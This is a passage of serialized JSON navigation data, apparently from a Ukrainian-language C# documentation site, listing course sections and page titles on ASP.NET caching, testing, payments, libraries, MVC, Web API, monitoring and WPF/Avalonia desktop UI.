.NET","\u002Fcsharp\u002Faspnet\u002Fi18n\u002Fhumanizer","01.csharp\u002F11.aspnet\u002F05.i18n\u002F02.humanizer",{"title":942,"icon":943,"path":944,"stem":945,"children":946,"page":59},"Кешування","i-lucide-layers","\u002Fcsharp\u002Faspnet\u002Fcaching","01.csharp\u002F11.aspnet\u002F06.caching",[947,951,955,959,963],{"title":948,"path":949,"stem":950},"Огляд кешування: чотири рівні і коли що обирати","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fcaching","01.csharp\u002F11.aspnet\u002F06.caching\u002F01.caching",{"title":952,"path":953,"stem":954},"IMemoryCache: кеш в оперативній пам'яті","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fmemory-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F02.memory-cache",{"title":956,"path":957,"stem":958},"IDistributedCache і Redis: розподілений кеш","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fdistributed-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F03.distributed-cache",{"title":960,"path":961,"stem":962},"Response Cache: HTTP-кешування через Cache-Control","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Fresponse-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F04.response-cache",{"title":964,"path":965,"stem":966},"Output Cache: серверний кеш HTTP-відповідей (.NET 7+)","\u002Fcsharp\u002Faspnet\u002Fcaching\u002Foutput-cache","01.csharp\u002F11.aspnet\u002F06.caching\u002F05.output-cache",{"title":968,"icon":969,"path":970,"stem":971,"children":972,"page":59},"Тестування","i-lucide-test-tube","\u002Fcsharp\u002Faspnet\u002Ftesting","01.csharp\u002F11.aspnet\u002F07.testing",[973,977,981,985,989,993,997,1001,1005,1009,1013,1017,1021,1025,1029,1033,1037,1041,1045,1049,1053],{"title":974,"path":975,"stem":976},"Що таке тестування? Від інтуїції до науки","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwhat-is-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F01.what-is-testing",{"title":978,"path":979,"stem":980},"Піраміда тестування — Стратегія, а не Догма","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-pyramid","01.csharp\u002F11.aspnet\u002F07.testing\u002F02.testing-pyramid",{"title":982,"path":983,"stem":984},"Дві Школи Тестування — Лондон проти Детройту","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-schools","01.csharp\u002F11.aspnet\u002F07.testing\u002F03.testing-schools",{"title":986,"path":987,"stem":988},"TDD та BDD — Тести як Дизайн-інструмент","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftdd-and-bdd","01.csharp\u002F11.aspnet\u002F07.testing\u002F04.tdd-and-bdd",{"title":990,"path":991,"stem":992},"Що саме тестувати — Техніки аналізу та Циклomatична складність","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwhat-to-test","01.csharp\u002F11.aspnet\u002F07.testing\u002F05.what-to-test",{"title":994,"path":995,"stem":996},"Тестові Фреймворки — Навіщо вони і що всередині","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftest-frameworks","01.csharp\u002F11.aspnet\u002F07.testing\u002F06.test-frameworks",{"title":998,"path":999,"stem":1000},"xUnit — Факти, Теорії та Lifecycle тестів","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fxunit-basics","01.csharp\u002F11.aspnet\u002F07.testing\u002F07.xunit-basics",{"title":1002,"path":1003,"stem":1004},"xUnit Advanced — Fixtures, Кастомізація та Розширення","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fxunit-advanced","01.csharp\u002F11.aspnet\u002F07.testing\u002F08.xunit-advanced",{"title":1006,"path":1007,"stem":1008},"Moq — Глибоке занурення в мокування","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fmocking-with-moq","01.csharp\u002F11.aspnet\u002F07.testing\u002F09.mocking-with-moq",{"title":1010,"path":1011,"stem":1012},"Тестування Баз Даних — EF Core, SQLite та Testcontainers","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fdatabase-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F10.database-testing",{"title":1014,"path":1015,"stem":1016},"Integration Testing — Частина 1 [Теорія та WebApplicationFactory]","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fintegration-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F11.integration-testing",{"title":1018,"path":1019,"stem":1020},"Інтеграційне тестування — Практика","\u002Fcsharp\u002Faspnet\u002Ftesting\u002F11a.integration-testing-practice","01.csharp\u002F11.aspnet\u002F07.testing\u002F11a.integration-testing-practice",{"title":1022,"path":1023,"stem":1024},"Integration Testing — Частина 2 [Просунуті Сценарії та Testcontainers]","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fintegration-testing-advanced","01.csharp\u002F11.aspnet\u002F07.testing\u002F12.integration-testing-advanced",{"title":1026,"path":1027,"stem":1028},"Професійний Postman: Колекції, Змінні та GitHub Інтеграція","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fpostman-professional","01.csharp\u002F11.aspnet\u002F07.testing\u002F13.postman-professional",{"title":1030,"path":1031,"stem":1032},"HttpClient у Тестах Частина 1: Архітектура та MockHttpMessageHandler","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fhttpclient-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F14.httpclient-testing",{"title":1034,"path":1035,"stem":1036},"HttpClient у Тестах Частина 2: WireMock.Net та Resilience","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fwiremock-net","01.csharp\u002F11.aspnet\u002F07.testing\u002F15.wiremock-net",{"title":1038,"path":1039,"stem":1040},"Патерни та Анти-патерни Тестування: Test Smells","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Ftesting-patterns","01.csharp\u002F11.aspnet\u002F07.testing\u002F16.testing-patterns",{"title":1042,"path":1043,"stem":1044},"Просунуті інструменти: Time, Snapshots та Властивості","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fadvanced-testing-tools","01.csharp\u002F11.aspnet\u002F07.testing\u002F17.advanced-testing-tools",{"title":1046,"path":1047,"stem":1048},"Тестування Архітектури з NetArchTest","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Farchitecture-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F18.architecture-testing",{"title":1050,"path":1051,"stem":1052},"Тестування Продуктивності: BenchmarkDotNet, NBomber та k6","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fperformance-testing","01.csharp\u002F11.aspnet\u002F07.testing\u002F19.performance-testing",{"title":1054,"path":1055,"stem":1056},"Залишок плану для курсу \"Тестування ASP.NET Minimal API\"","\u002Fcsharp\u002Faspnet\u002Ftesting\u002Fremaining_plan","01.csharp\u002F11.aspnet\u002F07.testing\u002Fremaining_plan",{"title":1058,"icon":1059,"path":1060,"stem":1061,"children":1062,"page":59},"Платежі","i-lucide-credit-card","\u002Fcsharp\u002Faspnet\u002Fpayments","01.csharp\u002F11.aspnet\u002F08.payments",[1063,1067,1071,1075,1079,1083,1087,1091,1095,1099,1103,1107],{"title":1064,"path":1065,"stem":1066},"Основи платіжної інфраструктури","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-fundamentals","01.csharp\u002F11.aspnet\u002F08.payments\u002F01.payment-fundamentals",{"title":1068,"path":1069,"stem":1070},"Методи оплати в Україні","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-methods-ukraine","01.csharp\u002F11.aspnet\u002F08.payments\u002F02.payment-methods-ukraine",{"title":1072,"path":1073,"stem":1074},"PCI DSS та безпека платежів","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpci-dss-security","01.csharp\u002F11.aspnet\u002F08.payments\u002F03.pci-dss-security",{"title":1076,"path":1077,"stem":1078},"Архітектура платіжної підсистеми","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fpayment-architecture","01.csharp\u002F11.aspnet\u002F08.payments\u002F04.payment-architecture",{"title":1080,"path":1081,"stem":1082},"Інтеграція LiqPay (ПриватБанк)","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fliqpay-integration","01.csharp\u002F11.aspnet\u002F08.payments\u002F05.liqpay-integration",{"title":1084,"path":1085,"stem":1086},"Інтеграція Monobank Acquiring API","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fmonobank-acquiring","01.csharp\u002F11.aspnet\u002F08.payments\u002F06.monobank-acquiring",{"title":1088,"path":1089,"stem":1090},"Інтеграція Stripe","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fstripe-integration","01.csharp\u002F11.aspnet\u002F08.payments\u002F07.stripe-integration",{"title":1092,"path":1093,"stem":1094},"Webhooks — глибоке занурення","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fwebhooks-deep-dive","01.csharp\u002F11.aspnet\u002F08.payments\u002F08.webhooks-deep-dive",{"title":1096,"path":1097,"stem":1098},"Підписки та рекурентні платежі","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fsubscriptions-recurring","01.csharp\u002F11.aspnet\u002F08.payments\u002F09.subscriptions-recurring",{"title":1100,"path":1101,"stem":1102},"Повернення коштів та диспути","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Frefunds-disputes","01.csharp\u002F11.aspnet\u002F08.payments\u002F10.refunds-disputes",{"title":1104,"path":1105,"stem":1106},"Тестування платіжних інтеграцій","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Ftesting-payments","01.csharp\u002F11.aspnet\u002F08.payments\u002F11.testing-payments",{"title":1108,"path":1109,"stem":1110},"Чекліст виходу в Production","\u002Fcsharp\u002Faspnet\u002Fpayments\u002Fproduction-checklist","01.csharp\u002F11.aspnet\u002F08.payments\u002F12.production-checklist",{"title":1112,"icon":1113,"items":1114,"path":1127,"stem":1128,"children":1129,"page":59},"Популярні бібліотеки","lucide:box",[1115,1116,1117,1118,1119,1120,1121,1122,1123,1124,1125,1126],"01.fluent-validation","02.mapster","03.erroror-result-pattern","04.serilog","05.mediatr","06.polly","07.health-checks","08.feature-management","09.fluent-email","10.quest-pdf","11.bogus","12.humanizer-guard","\u002Fcsharp\u002Faspnet\u002Flibraries","01.csharp\u002F11.aspnet\u002F09.libraries",[1130,1134,1138,1142,1146,1150,1154,1158,1162,1166,1170,1174,1178],{"title":1131,"path":1132,"stem":1133},"Валідація з FluentValidation в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffluent-validation","01.csharp\u002F11.aspnet\u002F09.libraries\u002F01.fluent-validation",{"title":1135,"path":1136,"stem":1137},"Маппінг об","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fmapster","01.csharp\u002F11.aspnet\u002F09.libraries\u002F02.mapster",{"title":1139,"path":1140,"stem":1141},"Обробка помилок з ErrorOr та Result Pattern в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ferroror-result-pattern","01.csharp\u002F11.aspnet\u002F09.libraries\u002F03.erroror-result-pattern",{"title":1143,"path":1144,"stem":1145},"Структуроване логування з Serilog в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fserilog","01.csharp\u002F11.aspnet\u002F09.libraries\u002F04.serilog",{"title":1147,"path":1148,"stem":1149},"CQRS та Mediator з MediatR в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fmediatr","01.csharp\u002F11.aspnet\u002F09.libraries\u002F05.mediatr",{"title":1151,"path":1152,"stem":1153},"Відмовостійкість з Polly в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fpolly","01.csharp\u002F11.aspnet\u002F09.libraries\u002F06.polly",{"title":1155,"path":1156,"stem":1157},"Health Checks в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fhealth-checks","01.csharp\u002F11.aspnet\u002F09.libraries\u002F07.health-checks",{"title":1159,"path":1160,"stem":1161},"Feature Management та Feature Flags в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffeature-management","01.csharp\u002F11.aspnet\u002F09.libraries\u002F08.feature-management",{"title":1163,"path":1164,"stem":1165},"Відправка Email з FluentEmail в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Ffluent-email","01.csharp\u002F11.aspnet\u002F09.libraries\u002F09.fluent-email",{"title":1167,"path":1168,"stem":1169},"Генерація PDF з QuestPDF в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fquest-pdf","01.csharp\u002F11.aspnet\u002F09.libraries\u002F10.quest-pdf",{"title":1171,"path":1172,"stem":1173},"Генерація тестових даних з Bogus в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fbogus","01.csharp\u002F11.aspnet\u002F09.libraries\u002F11.bogus",{"title":1175,"path":1176,"stem":1177},"Humanizer та Guard Clauses в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fhumanizer-guard","01.csharp\u002F11.aspnet\u002F09.libraries\u002F12.humanizer-guard",{"title":1179,"path":1180,"stem":1181},"План модуля 10.libraries — Популярні бібліотеки ASP.NET","\u002Fcsharp\u002Faspnet\u002Flibraries\u002Fplan","01.csharp\u002F11.aspnet\u002F09.libraries\u002Fplan",{"title":1183,"icon":1184,"path":1185,"stem":1186,"children":1187,"page":59},"Razor Pages","i-lucide-layout-template","\u002Fcsharp\u002Faspnet\u002Frazor-pages","01.csharp\u002F11.aspnet\u002F10.razor-pages",[1188,1192,1196,1200,1204,1208],{"title":1189,"path":1190,"stem":1191},"Від Minimal API до Razor Pages: концептуальний перехід","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Ffrom-minimal-api","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F01.from-minimal-api",{"title":1193,"path":1194,"stem":1195},"PageModel: логіка сторінки Razor Pages","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fpage-model","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F02.page-model",{"title":1197,"path":1198,"stem":1199},"Razor синтаксис: шаблонізатор у .cshtml","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Frazor-syntax","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F03.razor-syntax",{"title":1201,"path":1202,"stem":1203},"Tag Helpers: типізований HTML","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Ftag-helpers","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F04.tag-helpers",{"title":1205,"path":1206,"stem":1207},"Форми і валідація: повний цикл обробки даних","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fforms-validation","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F05.forms-validation",{"title":1209,"path":1210,"stem":1211},"Практичний проєкт: TaskManager на Razor Pages","\u002Fcsharp\u002Faspnet\u002Frazor-pages\u002Fproject-task-manager","01.csharp\u002F11.aspnet\u002F10.razor-pages\u002F06.project-task-manager",{"title":1213,"path":1214,"stem":1215,"children":1216,"page":59},"ASP.NET Core MVC","\u002Fcsharp\u002Faspnet\u002Fmvc","01.csharp\u002F11.aspnet\u002F11.mvc",[1217,1221,1225,1229,1233,1237,1241,1245,1249,1253,1257,1261,1265,1269,1273,1277,1281,1285],{"title":1218,"path":1219,"stem":1220},"Патерн MVC: архітектура, що змінила веб","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmvc-pattern","01.csharp\u002F11.aspnet\u002F11.mvc\u002F01.mvc-pattern",{"title":1222,"path":1223,"stem":1224},"Від Razor Pages до MVC: концептуальний перехід","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffrom-razor-pages","01.csharp\u002F11.aspnet\u002F11.mvc\u002F02.from-razor-pages",{"title":1226,"path":1227,"stem":1228},"Controllers та Actions: серце MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fcontrollers-actions","01.csharp\u002F11.aspnet\u002F11.mvc\u002F03.controllers-actions",{"title":1230,"path":1231,"stem":1232},"Маршрутизація в MVC: Convention vs Attribute Routing","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Frouting-mvc","01.csharp\u002F11.aspnet\u002F11.mvc\u002F04.routing-mvc",{"title":1234,"path":1235,"stem":1236},"Model Binding: від HTTP до C#","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmodel-binding","01.csharp\u002F11.aspnet\u002F11.mvc\u002F05.model-binding",{"title":1238,"path":1239,"stem":1240},"Views, ViewData, ViewBag, TempData і ViewModel","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fviews-viewdata-tempdata","01.csharp\u002F11.aspnet\u002F11.mvc\u002F06.views-viewdata-tempdata",{"title":1242,"path":1243,"stem":1244},"Filters: аспектно-орієнтоване програмування в MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffilters","01.csharp\u002F11.aspnet\u002F11.mvc\u002F07.filters",{"title":1246,"path":1247,"stem":1248},"Areas: структурування великих застосунків","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fareas","01.csharp\u002F11.aspnet\u002F11.mvc\u002F08.areas",{"title":1250,"path":1251,"stem":1252},"View Components: повторювані незалежні блоки UI","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fview-components","01.csharp\u002F11.aspnet\u002F11.mvc\u002F09.view-components",{"title":1254,"path":1255,"stem":1256},"Display та Editor Templates","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fdisplay-editor-templates","01.csharp\u002F11.aspnet\u002F11.mvc\u002F10.display-editor-templates",{"title":1258,"path":1259,"stem":1260},"Валідація: IValidatableObject та FluentValidation","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fvalidation-advanced","01.csharp\u002F11.aspnet\u002F11.mvc\u002F11.validation-advanced",{"title":1262,"path":1263,"stem":1264},"HTMX: інтерактивність через HTML-атрибути","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fhtmx","01.csharp\u002F11.aspnet\u002F11.mvc\u002F12.htmx",{"title":1266,"path":1267,"stem":1268},"HTMX у ASP.NET Core MVC: серверна інтеграція","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fajax-htmx-mvc","01.csharp\u002F11.aspnet\u002F11.mvc\u002F13.ajax-htmx-mvc",{"title":1270,"path":1271,"stem":1272},"Практичний проєкт: Каталог товарів з HTMX","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fhtmx-project","01.csharp\u002F11.aspnet\u002F11.mvc\u002F14.htmx-project",{"title":1274,"path":1275,"stem":1276},"Завантаження та обробка файлів","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Ffile-upload","01.csharp\u002F11.aspnet\u002F11.mvc\u002F15.file-upload",{"title":1278,"path":1279,"stem":1280},"Глобалізація та Локалізація MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fglobalization-localization","01.csharp\u002F11.aspnet\u002F11.mvc\u002F16.globalization-localization",{"title":1282,"path":1283,"stem":1284},"Підсумковий проєкт: Блог-платформа","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fmvc-project","01.csharp\u002F11.aspnet\u002F11.mvc\u002F17.mvc-project",{"title":1286,"path":1287,"stem":1288},"План курсу: ASP.NET Core MVC","\u002Fcsharp\u002Faspnet\u002Fmvc\u002Fplan","01.csharp\u002F11.aspnet\u002F11.mvc\u002Fplan",{"title":1290,"path":1291,"stem":1292,"children":1293,"page":59},"Web Api","\u002Fcsharp\u002Faspnet\u002Fweb-api","01.csharp\u002F11.aspnet\u002F12.web-api",[1294,1298,1302,1306,1310,1314,1318,1322,1326,1330,1334,1338,1342],{"title":1295,"path":1296,"stem":1297},"Від Minimal API до Controller-based API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Ffrom-minimal-api-to-controllers","01.csharp\u002F11.aspnet\u002F12.web-api\u002F01.from-minimal-api-to-controllers",{"title":1299,"path":1300,"stem":1301},"ControllerBase, ActionResult\u003CT> та Response Types","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fcontroller-base-actionresult","01.csharp\u002F11.aspnet\u002F12.web-api\u002F02.controller-base-actionresult",{"title":1303,"path":1304,"stem":1305},"Content Negotiation - JSON, XML та власні форматери","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fcontent-negotiation","01.csharp\u002F11.aspnet\u002F12.web-api\u002F03.content-negotiation",{"title":1307,"path":1308,"stem":1309},"Версіонування API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fapi-versioning","01.csharp\u002F11.aspnet\u002F12.web-api\u002F04.api-versioning",{"title":1311,"path":1312,"stem":1313},"ProblemDetails та структурована обробка помилок","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fproblemdetails-error-handling","01.csharp\u002F11.aspnet\u002F12.web-api\u002F05.problemdetails-error-handling",{"title":1315,"path":1316,"stem":1317},"Фільтри у Web API контексті","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Ffilters-for-api","01.csharp\u002F11.aspnet\u002F12.web-api\u002F06.filters-for-api",{"title":1319,"path":1320,"stem":1321},"Пагінація, фільтрація та сортування","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fpagination-filtering-sorting","01.csharp\u002F11.aspnet\u002F12.web-api\u002F07.pagination-filtering-sorting",{"title":1323,"path":1324,"stem":1325},"HATEOAS та Resource Expansion","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fhateoas-resource-expansion","01.csharp\u002F11.aspnet\u002F12.web-api\u002F08.hateoas-resource-expansion",{"title":1327,"path":1328,"stem":1329},"Гібридна архітектура - Minimal API + Controllers","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fminimal-api-vs-controllers-hybrid","01.csharp\u002F11.aspnet\u002F12.web-api\u002F09.minimal-api-vs-controllers-hybrid",{"title":1331,"path":1332,"stem":1333},"Документація API - Swashbuckle, NSwag та генерація клієнтів","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fapi-documentation-generation","01.csharp\u002F11.aspnet\u002F12.web-api\u002F10.api-documentation-generation",{"title":1335,"path":1336,"stem":1337},"Health Checks та моніторинг API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fhealth-checks-monitoring","01.csharp\u002F11.aspnet\u002F12.web-api\u002F11.health-checks-monitoring",{"title":1339,"path":1340,"stem":1341},"Підсумковий проєкт - Production-Ready REST API","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fweb-api-project","01.csharp\u002F11.aspnet\u002F12.web-api\u002F12.web-api-project",{"title":1343,"path":1344,"stem":1345},"План курсу: ASP.NET Core Web API (Controllers)","\u002Fcsharp\u002Faspnet\u002Fweb-api\u002Fplan","01.csharp\u002F11.aspnet\u002F12.web-api\u002Fplan",{"title":1347,"icon":1348,"path":1349,"stem":1350,"children":1351,"page":59},"Моніторинг","i-lucide-activity","\u002Fcsharp\u002Faspnet\u002Fmonitoring","01.csharp\u002F11.aspnet\u002F13.monitoring",[1352,1356,1360],{"title":1353,"path":1354,"stem":1355},"Спостережуваність: від console.log до production-систем","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fobservability-intro","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F01.observability-intro",{"title":1357,"path":1358,"stem":1359},"Health Checks: перший рівень observability","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fhealth-checks","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F02.health-checks",{"title":1361,"path":1362,"stem":1363},"Вбудовані метрики .NET 10 та System.Diagnostics.Metrics","\u002Fcsharp\u002Faspnet\u002Fmonitoring\u002Fdotnet-metrics","01.csharp\u002F11.aspnet\u002F13.monitoring\u002F03.dotnet-metrics",{"title":1365,"icon":1366,"path":1367,"stem":1368,"children":1369,"page":59},"Desktop UI","i-lucide-app-window","\u002Fcsharp\u002Fdesktop-ui","01.csharp\u002F12.desktop-ui",[1370,1374,1378,1382,1386,1390,1394,1398,1402,1406,1410,1414,1418,1422,1426,1430,1434,1438,1442,1446,1450,1454,1458,1462,1466,1470,1474,1478,1482,1486,1490,1494,1498,1502,1506,1510,1514,1518,1522,1526,1530,1534,1538,1542,1546,1550,1554,1558,1562,1566,1570,1574,1578,1582,1586,1590,1594,1598,1602,1606,1610,1614,1618,1622,1626,1630,1634,1638,1642,1646,1650],{"title":1371,"path":1372,"stem":1373},"Що таке десктопна розробка?","\u002Fcsharp\u002Fdesktop-ui\u002Fwhat-is-desktop-dev","01.csharp\u002F12.desktop-ui\u002F01.what-is-desktop-dev",{"title":1375,"path":1376,"stem":1377},"Архітектура WPF — як влаштований графічний інтерфейс","\u002Fcsharp\u002Fdesktop-ui\u002Fwpf-architecture","01.csharp\u002F12.desktop-ui\u002F02.wpf-architecture",{"title":1379,"path":1380,"stem":1381},"Перший WPF-проєкт — від нуля до вікна","\u002Fcsharp\u002Fdesktop-ui\u002Ffirst-wpf-app","01.csharp\u002F12.desktop-ui\u002F03.first-wpf-app",{"title":1383,"path":1384,"stem":1385},"Перший Avalonia-проєкт: WPF для всіх платформ","\u002Fcsharp\u002Fdesktop-ui\u002F03a.first-avalonia-app","01.csharp\u002F12.desktop-ui\u002F03a.first-avalonia-app",{"title":1387,"path":1388,"stem":1389},"XAML: декларативний інтерфейс","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-basics","01.csharp\u002F12.desktop-ui\u002F04.xaml-basics",{"title":1391,"path":1392,"stem":1393},"Fluent UI у WPF — сучасний дизайн Windows 11","\u002Fcsharp\u002Fdesktop-ui\u002F04a.wpf-fluent-ui","01.csharp\u002F12.desktop-ui\u002F04a.wpf-fluent-ui",{"title":1395,"path":1396,"stem":1397},"WPF UI — сучасна бібліотека Fluent контролів","\u002Fcsharp\u002Fdesktop-ui\u002F04b.wpf-ui-library","01.csharp\u002F12.desktop-ui\u002F04b.wpf-ui-library",{"title":1399,"path":1400,"stem":1401},"HandyControl — велика бібліотека UI контролів для WPF","\u002Fcsharp\u002Fdesktop-ui\u002F04c.handycontrol-library","01.csharp\u002F12.desktop-ui\u002F04c.handycontrol-library",{"title":1403,"path":1404,"stem":1405},"Простори імен та ресурси XAML","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-namespaces-resources","01.csharp\u002F12.desktop-ui\u002F05.xaml-namespaces-resources",{"title":1407,"path":1408,"stem":1409},"XAML в Avalonia: ключові відмінності від WPF","\u002Fcsharp\u002Fdesktop-ui\u002F05a.avalonia-xaml-differences","01.csharp\u002F12.desktop-ui\u002F05a.avalonia-xaml-differences",{"title":1411,"path":1412,"stem":1413},"Розширення розмітки XAML (Markup Extensions)","\u002Fcsharp\u002Fdesktop-ui\u002Fxaml-markup-extensions","01.csharp\u002F12.desktop-ui\u002F06.xaml-markup-extensions",{"title":1415,"path":1416,"stem":1417},"Панелі Layout: StackPanel, WrapPanel, DockPanel","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-panels-part1","01.csharp\u002F12.desktop-ui\u002F07.layout-panels-part1",{"title":1419,"path":1420,"stem":1421},"Grid, Canvas, UniformGrid","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-panels-part2","01.csharp\u002F12.desktop-ui\u002F07.layout-panels-part2",{"title":1423,"path":1424,"stem":1425},"Просунуті техніки Layout","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-advanced","01.csharp\u002F12.desktop-ui\u002F08.layout-advanced",{"title":1427,"path":1428,"stem":1429},"Адаптивний Layout та найкращі практики","\u002Fcsharp\u002Fdesktop-ui\u002Flayout-responsive","01.csharp\u002F12.desktop-ui\u002F09.layout-responsive",{"title":1431,"path":1432,"stem":1433},"Layout в Avalonia: відмінності та нові можливості","\u002Fcsharp\u002Fdesktop-ui\u002F09a.layout-avalonia","01.csharp\u002F12.desktop-ui\u002F09a.layout-avalonia",{"title":1435,"path":1436,"stem":1437},"Button, Image, ProgressBar та інші базові контроли","\u002Fcsharp\u002Fdesktop-ui\u002Fbasic-controls","01.csharp\u002F12.desktop-ui\u002F10.basic-controls",{"title":1439,"path":1440,"stem":1441},"Контроли в Avalonia: відмінності від WPF","\u002Fcsharp\u002Fdesktop-ui\u002F10a.controls-avalonia","01.csharp\u002F12.desktop-ui\u002F10a.controls-avalonia",{"title":1443,"path":1444,"stem":1445},"Текстові контроли — TextBlock, TextBox, RichTextBox","\u002Fcsharp\u002Fdesktop-ui\u002Ftext-controls","01.csharp\u002F12.desktop-ui\u002F11.text-controls",{"title":1447,"path":1448,"stem":1449},"Контроли вибору — CheckBox, RadioButton, ComboBox, ListBox, DatePicker","\u002Fcsharp\u002Fdesktop-ui\u002Fselection-controls","01.csharp\u002F12.desktop-ui\u002F12.selection-controls",{"title":1451,"path":1452,"stem":1453},"Content Model — GroupBox, Expander, TabControl, StatusBar","\u002Fcsharp\u002Fdesktop-ui\u002Fcontent-controls","01.csharp\u002F12.desktop-ui\u002F13.content-controls",{"title":1455,"path":1456,"stem":1457},"UI\u002FUX принципи десктопних застосунків","\u002Fcsharp\u002Fdesktop-ui\u002F13a.ui-ux-principles","01.csharp\u002F12.desktop-ui\u002F13a.ui-ux-principles",{"title":1459,"path":1460,"stem":1461},"Dependency Properties — Концепція та Value Resolution","\u002Fcsharp\u002Fdesktop-ui\u002Fdependency-properties-part1","01.csharp\u002F12.desktop-ui\u002F14.dependency-properties-part1",{"title":1463,"path":1464,"stem":1465},"Avalonia Property System — StyledProperty та DirectProperty","\u002Fcsharp\u002Fdesktop-ui\u002F14a.avalonia-property-system","01.csharp\u002F12.desktop-ui\u002F14a.avalonia-property-system",{"title":1467,"path":1468,"stem":1469},"Attached Properties — Властивості без меж","\u002Fcsharp\u002Fdesktop-ui\u002Fattached-properties","01.csharp\u002F12.desktop-ui\u002F15.attached-properties",{"title":1471,"path":1472,"stem":1473},"Routed Events — Маршрутизація подій у 